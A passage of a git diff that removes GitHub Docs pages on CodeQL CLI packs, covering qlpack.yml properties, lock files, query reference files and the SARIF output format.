variables.product.prodname_container_registry %} in order to extend coverage to all repositories in an organization as part of a default setup configuration, then you need to ensure that repositories running code scanning can access those model packs. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/editing-your-configuration-of-default-setup) and [AUTOTITLE](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility). - -## Running `codeql pack download <scope>/<pack>` - -To run a pack that someone else has created, you must first download it by running the following command: - -```shell -codeql pack download <scope>/<pack>@x.x.x -``` - -* `<scope>`: the name of the {% data variables.product.prodname_dotcom %} organization that you will download from. -* `<pack>`: the name for the pack that you want to download. -* `@x.x.x`: an optional version number. If omitted, the latest version will be downloaded. - -This command accepts arguments for multiple packs. - -If you write scripts that specify a particular version number of a -query pack to download, keep in mind that when you update your version of -{% data variables.product.prodname_codeql %} to a newer one, you may -also need to switch to a newer version of the query pack. Newer -versions of {% data variables.product.prodname_codeql %} _may_ provide -degraded performance when used with query packs that have been pinned -to a very old version. For more information, see [About {% data variables.product.prodname_codeql %} -pack compatibility](#about-codeql-pack-compatibility). - -## Using a {% data variables.product.prodname_codeql %} pack to analyze a {% data variables.product.prodname_codeql %} database - -To analyze a {% data variables.product.prodname_codeql %} database with a {% data variables.product.prodname_codeql %} pack, run the following command: - -```shell -codeql database analyze <database> <scope>/<pack>@x.x.x:<path> -``` - -* `<database>`: the {% data variables.product.prodname_codeql %} database to be analyzed. -* `<scope>`: the name of the {% data variables.product.prodname_dotcom %} organization that the pack is published to. -* `<pack>`: the name for the pack that you are using. -* `@x.x.x`: an optional version number. If omitted, the latest version will be used. -* `:<path>`: an optional path to a query, directory, or query suite. If omitted, the pack’s default query suite will be used. - -The `analyze` command will run the default suite of any specified {% data variables.product.prodname_codeql %} packs. You can specify multiple {% data variables.product.prodname_codeql %} packs to be used for analyzing a {% data variables.product.prodname_codeql %} database. For example: - -```shell -codeql <database> analyze <scope>/<pack> <scope>/<other-pack> -``` - -> [!NOTE] -> The `codeql pack download` command stores the pack it downloads in an internal location that is not intended for local modification. Unexpected (and hard to troubleshoot) behavior may result if the pack is modified after downloading. For more information about customizing packs, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs). - -## About {% data variables.product.prodname_codeql %} pack compatibility - -When a query pack is published, it includes pre-compiled representations of all the queries in it. These pre-compiled queries are generally much faster to execute than it is to compile the QL source from scratch during the analysis. However, the pre-compiled queries also depend on certain internals of the QL evaluator, so if the version of {% data variables.product.prodname_codeql %} that performs the analysis is too different from the version that ran `codeql pack publish`, it may be necessary to compile the queries from source instead during analysis. The recompilation happens automatically and will not affect the _results_ of the analysis, but it can make the -analysis significantly slower. - -It can generally be assumed that if a pack is published with one release of {% data variables.product.prodname_codeql %}, the precompiled queries in it can be used directly by _later_ releases of {% data variables.product.prodname_codeql %}, as long as there is no more than 6 months between the release dates. We will make reasonable efforts to keep new releases compatible for longer than that, but make no promises. - -It can also be assumed that a pack published by the _latest_ public release of {% data variables.product.prodname_codeql %} will be useable by the version of {% data variables.product.prodname_codeql %} that is used by {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_actions %}, even though that is often a slightly older release. - -As a user of a published query pack, you can check that the {% data variables.product.prodname_codeql %} makes use of the precompiled queries in it by inspecting the terminal output from an analysis runs that uses the query pack. If it contains lines looking like the following, then the precompiled queries were used successfully: - -```shell -[42/108] Loaded /long/path/to/query/Filename.qlx. -``` - -However, if they instead look like the following, then usage of the precompiled queries failed: - -```shell -Compiling query plan for /long/path/to/query/Filename.ql. -[42/108 comp 25s] Compiled /long/path/to/query/Filename.ql. -``` - -The results of the analysis will still be good in this case, but to get optimal performance you may need to upgrade to a newer version of the {% data variables.product.prodname_codeql_cli %} and/or of the query pack. - -If you publish query packs on the {% data variables.product.prodname_container_registry %} on {% data variables.product.prodname_dotcom_the_website %} for others to use, we recommend that you use a recent release of {% data variables.product.prodname_codeql %} to run `codeql pack publish`, and that you publish a fresh version of your pack with an updated {% data variables.product.prodname_codeql %} version before the version you used turns 6 months old. That way you can ensure that users of your pack who keep _their_ {% data variables.product.prodname_codeql %} up to date will benefit from the pre-compiled queries in your pack. - -If you publish query packs with the intention of using them on a {% data variables.product.prodname_ghe_server %} installation that uses its bundled {% data variables.product.prodname_codeql %} binaries, use the same {% data variables.product.prodname_codeql %} version to run `codeql pack publish`. Newer versions might produce pre-compiled queries that the one in {% data variables.product.prodname_ghe_server %} may not recognize. Your {% data variables.product.prodname_ghe_server %} administrator may choose to upgrade to a newer version of {% data variables.product.prodname_codeql %} periodically. If so, follow their lead. - -## About `qlpack.yml` files - -When executing query-related commands, {% data variables.product.prodname_codeql %} first looks in siblings of the installation directory (and their subdirectories) for `qlpack.yml` files. -Then it checks the package cache for {% data variables.product.prodname_codeql %} packs which have been downloaded. This means that when you are developing queries locally, the local packages -in the installation directory override packages of the same name in the package cache, so that you can test your local changes. - -The metadata in each `qlpack.yml` file tells {% data variables.product.prodname_codeql %} how to compile any queries in the pack, what libraries the pack depends on, and where to -find query suite definitions. - -The contents of the {% data variables.product.prodname_codeql %} pack (queries or libraries used in {% data variables.product.prodname_codeql %} analysis) is included in the same directory as `qlpack.yml`, or its subdirectories. - -The directory containing the `qlpack.yml` file serves as the root directory for the content of the {% data variables.product.prodname_codeql %} pack. That is, for all `.ql` and `.qll` files in the pack, {% data variables.product.prodname_codeql %} will resolve all import statements relative to the directory containing the `qlpack.yml` file at the pack’s root. - -### `qlpack.yml` properties - -The following properties are supported in `qlpack.yml` files. - -#### `name` - -* Required by all packs. -* Defines the scope of the pack, where the {% data variables.product.prodname_codeql %} pack is published, and the name of the pack defined using alphanumeric characters and hyphens. It must be unique as {% data variables.product.prodname_codeql %} cannot differentiate between {% data variables.product.prodname_codeql %} packs with identical names. Use the pack name to specify queries to run using `database analyze` and to define dependencies between {% data variables.product.prodname_codeql %} packs (see examples below). For example: - - ```yaml - name: octo-org/security-queries - ``` - -#### `version` - -* Required by all packs that are published. -* Defines a semantic version for this {% data variables.product.prodname_codeql %} pack that must adhere to the [SemVer v2.0.0 specification](https://semver.org/spec/v2.0.0.html). For example: - - ```yaml - version: 0.0.0 - ``` - -#### `dataExtensions` - -* Required by model packs. -* Takes a list of glob patterns that specify where data extension files are located relative to the root of the query pack or library pack. - -#### `dependencies` - -* Required by query and library packs that define {% data variables.product.prodname_codeql %} package dependencies on other packs. Model packs cannot define any dependencies and use `extensionTargets` instead. -* Defines a map from pack references to the semantic version range that is compatible with this pack. Supported for {% data variables.product.prodname_codeql_cli %} versions v2.6.0 and later. For example: - - ```yaml - dependencies: - codeql/cpp-all: ^0.0.2 - ``` - - If you are unsure or it does not matter which version should be used, then you can use `"*"`, which indicates that any version of this dependency is compatible with this pack. In practice, this will usually resolve to the highest published version of the dependency. - - There is a special version placeholder, `${workspace}`, which indicates that this {% data variables.product.prodname_codeql %} pack depends on whatever version of the dependency is in the same workspace. For more information, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/about-codeql-workspaces#using-workspace-as-a-version-range-in-qlpackyml-files). - -#### `defaultSuiteFile` - -* Required by packs that export a set of default queries to run. -* Defines the path to a query suite file relative to the package root, containing all of the queries that are run by default when this pack is passed to the `codeql database analyze` command. Supported from CLI version v2.6.0 and onwards. Only one of `defaultSuiteFile` or `defaultSuite` can be defined. For example: - - ```yaml - defaultSuiteFile: cpp-code-scanning.qls - ``` - -#### `defaultSuite` - -* Required by packs that export a set of default queries to run. -* Defines an inlined query suite containing all of the queries that are run by default when this pack is passed to the `codeql database analyze` command. Supported from CLI version v2.6.0 and onwards. Only one of `defaultSuiteFile` or `defaultSuite` can be defined. For example: - - ```yaml - defaultSuite: - queries: . - exclude: - precision: medium - ``` - -#### `extensionTargets` - -* Required by model packs. -* Declares which query packs the extensions in the model pack apply to. The extension pack will inject its data extensions into each pack that is named in the `extensionTargets` dictionary, if the pack falls within the specified version range and it is used in the evaluation. - -#### `groups` - -* Optional. -* Defines logical groupings of packs in a {% data variables.product.prodname_codeql %} workspace. Using groups is a way to apply pack operations to subsets of packs in a workspace. For example, the following pack is defined to be a part of the `java` and the `experimental` groups: - - ```yaml - groups: - - java - - experimental - ``` - - Running `codeql pack publish --groups java,-experimental` will publish all of the packs in the `java` group, _except_ the `experimental` packs. You can run the `codeql pack ls --groups [-]<group>[,[-]<group>...]` command to list the packs in a workspace that match the specified set of groups. - - A {% data variables.product.prodname_codeql %} pack in the given workspace is included in the list if: - - * It is in at least one of the groups listed without a minus sign (this condition is automatically satisfied if there are no groups listed without a minus sign), and - * It is not in any group listed with a minus sign. - -#### `library` - -* Required by library packs. -* Defines a boolean value that indicates whether or not this pack is a library pack. Library packs do not contain queries and are not compiled. Query packs can ignore this field or explicitly set it to `false`. For example: - - ```yaml - library: true - ``` - -#### `suites` - -* Optional for packs that define query suites. This allows users to run query suites stored in the specified directory by specifying the pack name, without providing the full path. -* Currently supported only for the standard query packs included in {% data variables.product.prodname_codeql %} CLI bundle. -* This option is not supported for {% data variables.product.prodname_codeql %} packs downloaded from the {% data variables.product.prodname_dotcom %} container registry. - -#### `tests` - -* Optional for packs containing {% data variables.product.prodname_codeql %} tests. Ignored for packs without tests. -* Defines the path to a directory within the pack that contains tests, defined relative to the pack directory. Use `.` to specify the whole pack. Any queries in this directory are run as tests when `test run` is run with the `--strict-test-discovery` option. These queries are ignored by query suite definitions that use `queries` or `qlpack` instructions to ask for all queries in a particular pack. If this property is missing, then `.` is assumed. For example: - - ```yaml - tests: . - ``` - -#### `extractor` - -* Required by all packs containing {% data variables.product.prodname_codeql %} tests. -* Defines the {% data variables.product.prodname_codeql %} language extractor to use when running the {% data variables.product.prodname_codeql %} tests in the pack. For more information about testing queries, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/testing-custom-queries). For example: - - ```yaml - extractor: javascript-typescript - ``` - -#### `authors` - -* Optional. -* Defines metadata that will be displayed on the packaging search page in the packages section of the account that the {% data variables.product.prodname_codeql %} pack is published to. For example: - - ```yaml - authors: author1@github.com,author2@github.com - ``` - -#### `license` - -* Optional. -* Defines metadata that will be displayed on the packaging search page in the packages section of the account that the {% data variables.product.prodname_codeql %} pack is published to. For a list of allowed licenses, see [SPDX License List](https://spdx.org/licenses/) in the SPDX Specification. For example: - - ```yaml - license: MIT - ``` - -#### `description` - -* Optional. -* Defines metadata that will be displayed on the packaging search page in the packages section of the account that the {% data variables.product.prodname_codeql %} pack is published to. For example: - - ```yaml - description: Human-readable description of the contents of the {% data variables.product.prodname_codeql %} pack. - ``` - -#### `libraryPathDependencies` - -* Optional, deprecated. Use the `dependencies` property instead. -* Previously used to define the names of any {% data variables.product.prodname_codeql %} packs that this {% data variables.product.prodname_codeql %} pack depends on, as an array. This gives the pack access to any libraries, database schema, and query suites defined in the dependency. For example: - - ```yaml - libraryPathDependencies: codeql/javascript-all - ``` - -#### `dbscheme` - -* Required by core language packs only. -* Defines the path to the [database schema](https://codeql.github.com/docs/codeql-overview/codeql-glossary/#codeql-database-schema) for all libraries and queries written for this {% data variables.product.prodname_codeql %} language (see example below). For example: - - ```yaml - dbscheme: semmlecode.python.dbscheme - ``` - -#### `upgrades` - -* Required by core language packs only. -* Defines the path to a directory within the pack that contains database upgrade scripts, defined relative to the pack directory. Database upgrades are used internally to ensure that a database created with a different version of the {% data variables.product.prodname_codeql_cli %} is compatible with the current version of the CLI. For example: - - ```yaml - upgrades: . - ``` - -#### `warnOnImplicitThis` - -* Optional. Defaults to `false` if the `warnOnImplicitThis` property is not defined. -* Defines a boolean that specifies whether or not the compiler should emit warnings about member predicate calls with implicit `this` call receivers, that is, without an explicit receiver. Available since {% data variables.product.prodname_codeql_cli %} v2.13.2. For example: - - ```yaml - warnOnImplicitThis: true - ``` - -## About `codeql-pack.lock.yml` files - -`codeql-pack.lock.yml` files store the versions of the resolved transitive dependencies of a {% data variables.product.prodname_codeql %} pack. This file is created by the `codeql pack install` command if it does not already exist and should be added to your version control system. The `dependencies` section of the `qlpack.yml` file contains version ranges that are compatible with the pack. The `codeql-pack.lock.yml` file locks the versions to precise dependencies. This ensures that running `codeql pack install` on this the pack will always retrieve the same versions of dependencies even if newer compatible versions exist. - -For example, if a `qlpack.yml` file contains the following dependencies: - -```yaml -dependencies: - codeql/cpp-all: ^0.1.2 - my-user/my-lib: ^0.2.3 - other-dependency/from-source: "*" -``` - -The `codeql-pack.lock.yml` file will contain something like the following: - -```yaml -dependencies: - codeql/cpp-all: - version: 0.1.4 - my-user/my-lib: - version: 0.2.4 - my-user/transitive-dependency: - version: 1.2.4 -``` - -The `codeql/cpp-all` dependency is locked to version 0.1.4. The `my-user/my-lib` dependency is locked to version 0.2.4. The `my-user/transitive-dependency`, which is a transitive dependency and is not specified in the `qlpack.yml` file, is locked to version 1.2.4. The `other-dependency/from-source` is absent from the lock file since it is resolved from source. This dependency must be available in the same {% data variables.product.prodname_codeql %} workspace as the pack. For more information about {% data variables.product.prodname_codeql %} workspaces and resolving dependencies from source, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/about-codeql-workspaces). - -In most cases, the `codeql-pack.lock.yml` file is only relevant for query packs since library packs are non-executable and usually do not need their transitive dependencies to be fixed. The exception to this is for library packs that contain tests. In this case, the `codeql-pack.lock.yml` file is used to ensure that the tests are always run with the same versions of dependencies to avoid spurious failures when there are mismatched dependencies. - -## Examples of custom {% data variables.product.prodname_codeql %} packs - -When you write custom queries or tests, you should save them in custom {% data variables.product.prodname_codeql %} packs. For simplicity, try to organize each pack logically. For more information, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs#codeql-pack-structure). Save files for queries and tests in separate packs and, where possible, organize custom packs into specific folders for each target language. This is particularly useful if you intend to publish your {% data variables.product.prodname_codeql %} packs so they can be shared with others or used in code scanning. For more information, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql). - -### {% data variables.product.prodname_codeql %} packs for custom libraries - -A custom {% data variables.product.prodname_codeql %} pack containing custom C++ libraries, with no queries or tests, may have a `qlpack.yml` file containing: - -```yaml -name: my-github-user/my-custom-libraries -version: 1.2.3 -library: true -dependencies: - codeql/cpp-all: ^0.1.2 -``` - -where `codeql/cpp-all` is the name of the {% data variables.product.prodname_codeql %} pack for C/C++ analysis included in the {% data variables.product.prodname_codeql %} repository. The version range `^0.1.2` indicates that this pack is compatible with all versions of `codeql/cpp-all` that are greater than or equal to `0.1.2` and less than `0.2.0`. Any {% data variables.product.prodname_codeql %} library file (a file with a `.qll` extension) defined in this pack will be available to queries defined in any query pack that includes this pack in its dependencies block. - -The `library` property indicates that this pack is a library pack and does not contain any queries. - -### {% data variables.product.prodname_codeql %} packs for custom queries - -A custom {% data variables.product.prodname_codeql %} pack containing custom C++ queries and libraries may have a `qlpack.yml` file containing: - -```yaml -name: my-github-user/my-custom-queries -version: 1.2.3 -dependencies: - codeql/cpp-all: ^0.1.2 - my-github-user/my-custom-libraries: ^1.2.3 -``` - -where `codeql/cpp-all` is the name of the {% data variables.product.prodname_codeql %} pack for C/C++ analysis included in the {% data variables.product.prodname_codeql %} repository. The version range `^0.1.2` indicates that this pack is compatible with all versions of `codeql/cpp-all` that are greater than or equal to `0.1.2` and less than `0.2.0`. `my-github-user/my-custom-libraries` is the name of a {% data variables.product.prodname_codeql %} pack containing custom {% data variables.product.prodname_codeql %} libraries for C++. Any {% data variables.product.prodname_codeql %} library file (a file with a `.qll` extension) defined in this pack will be available to queries in the `my-github-user/my-custom-queries` pack. - -### {% data variables.product.prodname_codeql %} packs for custom tests - -For custom {% data variables.product.prodname_codeql %} packs containing test files, you also need to include an -`extractor` property so that the `test run` command knows how to create test -databases. You may also wish to specify the `tests` property. - -{% data reusables.codeql-cli.test-qlpack %} - -For more information about running tests, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/testing-custom-queries). - -## Examples of {% data variables.product.prodname_codeql %} packs in the {% data variables.product.prodname_codeql %} repository - -Each of the languages in the {% data variables.product.prodname_codeql %} repository has four main {% data variables.product.prodname_codeql %} packs: - -* Core library pack for the language, with the database schema -used by the language, and {% data variables.product.prodname_codeql %} libraries, and queries at `<language>/ql/lib` - -* Core query pack for the language that includes the default queries for the language, along -with their query suites at `<language>/ql/src` - -* Tests for the core language libraries and queries at `<language>/ql/test` - -* Example queries for the language at `<language>/ql/examples` - -### Core library pack - -Here is an example `qlpack.yml` file for the [C/C++ analysis libraries](https://github.com/github/codeql/blob/main/cpp/ql/lib/qlpack.yml) -core language pack: - -```yaml -name: codeql/cpp-all -version: x.y.z-dev -dbscheme: semmlecode.cpp.dbscheme -library: true -upgrades: upgrades -``` - -Some extra notes on the following properties: - -* `library`: Indicates that this is a library pack with no executable queries. It is only meant to be used as a dependency for other packs. - -* `dbscheme` and `upgrades`: These properties are internal to the {% data variables.product.prodname_codeql_cli %} and should only be defined in the core {% data variables.product.prodname_codeql %} query pack for a language. - -### Core query pack - -Here is an example `qlpack.yml` file for [C/C++ analysis queries](https://github.com/github/codeql/blob/main/cpp/ql/src/qlpack.yml) -core query pack: - -```yaml -name: codeql/cpp-queries -version: x.y.z-dev -dependencies: - codeql/cpp-all: "*" - codeql/suite-helpers: "*" -suites: codeql-suites -defaultSuiteFile: codeql-suites/cpp-code-scanning.qls -``` - -Some extra notes on the following properties: - -* `dependencies`: This query pack depends on `codeql/cpp-all` and `codeql/suite-helpers`. Since these dependencies are resolved from source, it does not matter what version of the {% data variables.product.prodname_codeql %} pack they are compatible with. For more information about resolving dependencies from source, see [Source Dependencies](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/about-codeql-workspaces#source-dependencies). - -* `suites`: Indicates the directory containing "well-known" query suites. - -* `defaultSuiteFile`: The name of the default query suite file that is used when no query suite is specified. - -### Tests for the core {% data variables.product.prodname_codeql %} pack - -Here is an example `qlpack.yml` file for [C/C++ analysis tests](https://github.com/github/codeql/blob/main/cpp/ql/src/qlpack.yml) -core test pack: - -```yaml -name: codeql/cpp-tests -dependencies: - codeql/cpp-all: "*" - codeql/cpp-queries: "*" -extractor: cpp -tests: . -``` - -Some extra notes on the following properties: - -* `dependencies`: This pack depends on the core {% data variables.product.prodname_codeql %} query and library packs for C++. - -* `extractor`: This specifies that all the tests will use the same C++ extractor to create the database for the tests. - -* `tests`: This specifies the location of the tests. In this case, the tests are in the root folder (and all sub-folders) of the pack. - -* `version`: There is no `version` property for the tests pack. This prevents test packs from accidentally being published. diff --git a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/query-reference-files.md b/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/query-reference-files.md deleted file mode 100644 index 74b51325aaeb..000000000000 --- a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/query-reference-files.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Query reference files -intro: You can use query reference files to define the location of a query you want to run in tests. -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -redirect_from: - - /code-security/codeql-cli/query-reference-files - - /code-security/codeql-cli/codeql-cli-reference/query-reference-files ---- - -## About query reference files - -A query reference file is text file that defines the location of one query to test. - -You use a query reference file when you want to tell the `test run` subcommand -to run a query that’s not part of a test directory. -There are two ways to specify queries that you want to run as tests: - -1. Use a query reference file to specify the location of a query to test. -This is useful when you create tests for alert and path queries that -are intended to identify problems in real codebases. You might create -several directories of test code, each focusing on different -aspects of the query. Then you would add a query reference file to -each directory of test code, to specify the query to test. -1. Add the query directly to a directory of tests. -These is typically useful when you’re writing queries explicitly to test the behavior -of QL libraries. Often these queries contain just a few calls to library predicates, -wrapping them in a `select` statement so their output can be tested. - -## Defining a query reference file - -Each query reference file, `.qlref`, contains a single line that defines -where to find one query. The location must be defined relative -to the root of the {% data variables.product.prodname_codeql %} pack that contains the query. -Usually, this is either the {% data variables.product.prodname_codeql %} pack that contains the `.qlref`, a {% data variables.product.prodname_codeql %} pack specified in the `dependencies` block for the test pack, or a transitive dependency of the {% data variables.product.prodname_codeql %} pack. - -You should use forward slashes in the path on all operating -systems to ensure compatibility between systems. - -### Example - -A query reference file to test a JavaScript alert query: -[DeadAngularJSEventListener.qlref](https://github.com/github/codeql/blob/main/javascript/ql/test/query-tests/AngularJS/DeadAngularJSEventListener/DeadAngularJSEventListener.qlref) - -The `qlpack.yml` file, https://github.com/github/codeql/blob/main/javascript/ql/test/qlpack.yml, -for the {% data variables.product.prodname_codeql %} pack at `javascript/ql/test` defines `codeql/javascript-queries` as -a dependency. So the query reference file defines the location of the query relative -to the `codeql/javascript-queries` {% data variables.product.prodname_codeql %} pack: - -```shell -AngularJS/DeadAngularJSEventListener.ql -``` - -For another example, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/testing-custom-queries). diff --git a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/sarif-output.md b/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/sarif-output.md deleted file mode 100644 index 7da701a46148..000000000000 --- a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/sarif-output.md +++ /dev/null @@ -1,189 +0,0 @@ ---- -title: CodeQL CLI SARIF output -intro: 'You can output SARIF from the {% data variables.product.prodname_codeql_cli %} and share static analysis results with other systems.' -product: '{% data reusables.gated-features.codeql %}' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -redirect_from: - - /code-security/codeql-cli/sarif-output - - /code-security/codeql-cli/codeql-cli-reference/sarif-output ---- - -## About SARIF output - -SARIF is designed to represent the output of a broad range of static analysis tools, and there are many features in the SARIF specification that are -considered "optional". This document details the output produced when using the format type `sarifv2.1.0`, which corresponds to the SARIF v2.1.0.csd1 specification. For more information on selecting a file format for your analysis results, see [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/database-analyze). - -## SARIF specification and schema - -This article is intended to be read alongside the detailed SARIF specification. For more information on the specification and the SARIF schema, see the [SARIF specification documentation](https://github.com/oasis-tcs/sarif-spec/blob/123e95847b13fbdd4cbe2120fa5e33355d4a042b/Schemata/sarif-schema-2.1.0.json). - -## Change notes - -### Changes between versions - -| {% data variables.product.prodname_codeql %} version | Format type | Changes | -|----------------|-------------|---------| -| 2.0.0 | `sarifv2.1.0` | First version of this format. | - -### Future changes to the output - -The output produced for a given specific format type (for example, `sarifv2.1.0`) may change in future {% data variables.product.prodname_codeql %} releases. We will endeavor to maintain backwards compatibility with consumers of the generated SARIF by ensuring that: - -* Fields that are marked as always being generated will never be removed. - -* For fields that are marked as not always being generated, the circumstances under which the fields are generated may change. Consumers of the {% data variables.product.prodname_codeql %} SARIF output should be robust to the presence or absence of these fields. - -New output fields may be added in future releases under the same format type–these are not considered to break backwards compatibility, and consumers should be robust to the presence of newly added fields. - -New format argument types may be added in future versions of {% data variables.product.prodname_codeql %}—for example, to support new versions of SARIF. These have no guarantee of backwards compatibility, unless explicitly documented. - -## Generated SARIF objects - -This details each SARIF component that may be generated, along with any specific circumstances. We omit any properties that are never generated. - -### `sarifLog` object - -| JSON property name| Always generated?| Notes| -|-------------------|------------------------|---------| -| `$schema`| {% octicon "check" aria-label="Always" %}| Provides a link to the [SARIF schema](https://github.com/oasis-tcs/sarif-spec/blob/123e95847b13fbdd4cbe2120fa5e33355d4a042b/Schemata/sarif-schema-2.1.0.json).| -| `version`| {% octicon "check" aria-label="Always" %}| The version of the SARIF used to generate the output.| -| `runs`| {% octicon "check" aria-label="Always" %}| An array containing a single run object, for one language.| - -### `run` object - -| JSON property name| Always generated?| Notes| -|-------------------|------------------------|---------| -| `tool`| {% octicon "check" aria-label="Always" %}| None | -| `artifacts`| {% octicon "check" aria-label="Always" %}| An array containing at least one artifact object for every file referenced in a result.| -| `results`| {% octicon "check" aria-label="Always" %}| None | -| `newLineSequences`| {% octicon "check" aria-label="Always" %}| None | -| `columnKind`| {% octicon "check" aria-label="Always" %}| None | -| `properties`| {% octicon "check" aria-label="Always" %}| The properties dictionary will contain the `semmle.formatSpecifier`, which identifies the format specifier passed to the {% data variables.product.prodname_codeql_cli %}.| - -### `tool` object - -| JSON property name| Always generated?| Notes| -|-------------------|------------------------|---------| -| `driver`| {% octicon "check" aria-label="Always" %}| None | - -### `toolComponent` object - -| JSON property name| Always generated?| Notes| -|-----------------------|---------------------|-----| -| `name`| {% octicon "check" aria-label="Always" %}| Set to "{% data variables.product.prodname_codeql %} command-line toolchain" for output from the {% data variables.product.prodname_codeql_cli %} tools. Note, if the output was generated using a different tool a different `name` is reported, and the format may not be as described here.| -| `organization`| {% octicon "check" aria-label="Always" %}| Set to "GitHub".| -| `version`| {% octicon "check" aria-label="Always" %}| Set to the {% data variables.product.prodname_codeql %} release version e.g. "2.0.0".| -| `rules`| {% octicon "check" aria-label="Always" %}| An array of `reportingDescriptor` objects that represent rules. This array will contain, at a minimum, all the rules that were run during this analysis, but may contain rules which were available but not run. For more detail about enabling queries, see `defaultConfiguration`.| - -### `reportingDescriptor` object (for rule) - -`reportingDescriptor` objects may be used in multiple places in the SARIF specification. When a `reportingDescriptor` is included in the rules array of a `toolComponent` object it has the following properties. - -| JSON property name| Always generated?| Notes| -|-----------------------|--------------------|------| -| `id`| {% octicon "check" aria-label="Always" %}| Will contain the `@id` property specified in the query that defines the rule, which is usually of the format `language/rule-name` (for example `cpp/unsafe-format-string`). If your organization defines the `@opaqueid` property in the query it will be used instead.| -| `name`| {% octicon "check" aria-label="Always" %}| Will contain the `@id` property specified in the query. See the `id` property above for an example.| -| `shortDescription`| {% octicon "check" aria-label="Always" %}| Will contain the `@name` property specified in the query that defines the rule.| -| `fullDescription`| {% octicon "check" aria-label="Always" %}| Will contain the `@description` property specified in the query that defines the rule.| -| `defaultConfiguration`| {% octicon "check" aria-label="Always" %}| A `reportingConfiguration` object, with the enabled property set to true or false, and a level property set according to the `@severity` property specified in the query that defines the rule. Omitted if the `@severity` property was not specified.| - -### `artifact` object - -| JSON property name| Always generated?| Notes| -|-----------------------|--------------------|------| -| `location`| {% octicon "check" aria-label="Always" %}| An `artifactLocation` object.| -| `index`| {% octicon "check" aria-label="Always" %}| The index of the `artifact` object.| -| `contents`| {% octicon "x" aria-label="Optionally" %}| If results are generated using the `--sarif-add-file-contents` flag, and the source code is available at the time the SARIF file is generated, then the `contents` property is populated with an `artifactContent` object, with the `text` property set.| - -### `artifactLocation` object - -| JSON property name| Always generated?| Notes| -|-----------------------|--------------------|------| -| `uri`| {% octicon "check" aria-label="Always" %}| None | -| `index`| {% octicon "check" aria-label="Always" %}| None | -| `uriBaseId`| {% octicon "x" aria-label="Optionally" %}| If the file is relative to some known abstract location, such as the root source location on the analysis machine, this will be set.| - -### `result` object - -The composition of the results is dependent on the options provided to {% data variables.product.prodname_codeql %}. By default, the results are grouped by unique message format string and primary location. Thus, two results that occur at the same location with the same underlying message, will appear as a single result in the output. This behavior can be disabled by using the flag `--ungroup-results`, in which case no results are grouped. - -| JSON property name | Always generated?| Notes| -|-----------------------|--------------------|------| -| `ruleId`| {% octicon "check" aria-label="Always" %}| See the description of the `id` property in `reportingDescriptor` object (for rule) .| -| `ruleIndex`| {% octicon "check" aria-label="Always" %}| None | -| `message`| {% octicon "check" aria-label="Always" %}| A message describing the problem(s) occurring at this location. This message may be a SARIF "Message with placeholder", containing links that refer to locations in the `relatedLocations` property.| -| `locations`| {% octicon "check" aria-label="Always" %}| An array containing a single `location` object.| -| `partialFingerprints`| {% octicon "check" aria-label="Always" %}| A dictionary from named fingerprint types to the fingerprint. This will contain, at a minimum, a value for the `primaryLocationLineHash`, which provides a fingerprint based on the context of the primary location.| -| `codeFlows`| {% octicon "x" aria-label="Optionally" %}| This array may be populated with one or more `codeFlow` objects if the query that defines the rule for this result is of `@kind path-problem`.| -| `relatedLocations`| {% octicon "x" aria-label="Optionally" %}| This array will be populated if the query that defines the rule for this result has a message with placeholder options. Each unique location is included once.| -| `suppressions`| {% octicon "x" aria-label="Optionally" %}| If the result is suppressed, then this will contain a single `suppression` object, with the `@kind` property set to `IN_SOURCE`. If this result is not suppressed, but there is at least one result that has a suppression, then this will be set to an empty array, otherwise it will not be set.| - -### `location` object - -| JSON property name| Always generated?| Notes| -|-----------------------|--------------------|------| -| `physicalLocation`| {% octicon "check" aria-label="Always" %}| None | -| `id`| {% octicon "x" aria-label="Optionally" %}| `location` objects that appear in the `relatedLocations` array of a `result` object may contain the `id` property.| -| `message`| {% octicon "x" aria-label="Optionally" %}| `location` objects may contain the `message` property if:</br></br>- They appear in the `relatedLocations` array of a `result` object may contain the `message` property.</br></br>- They appear in the `threadFlowLocation.location` property.| - -### `physicalLocation` object - -| JSON property name| Always generated?| Notes| -|-----------------------|--------------------|------| -| `artifactLocation`| {% octicon "check" aria-label="Always" %}| None | -| `region`| {% octicon "x" aria-label="Optionally" %}| If the given `physicalLocation` exists in a text file, such as a source code file, then the `region` property may be present.| -| `contextRegion`| {% octicon "x" aria-label="Optionally" %}| May be present if this location has an associated `snippet`.| - -### `region` object - -There are two types of `region` object produced by {% data variables.product.prodname_codeql %}: - -* Line/column offset regions - -* Character offset and length regions - -Any region produced by {% data variables.product.prodname_codeql %} may be specified in either format, and consumers should robustly handle either type. - -For line/column offset regions, the following properties will be set: - -| JSON property name| Always generated?| Notes| -|-----------------------|--------------------|------| -| `startLine`| {% octicon "check" aria-label="Always" %}| None | -| `startColumn`| {% octicon "x" 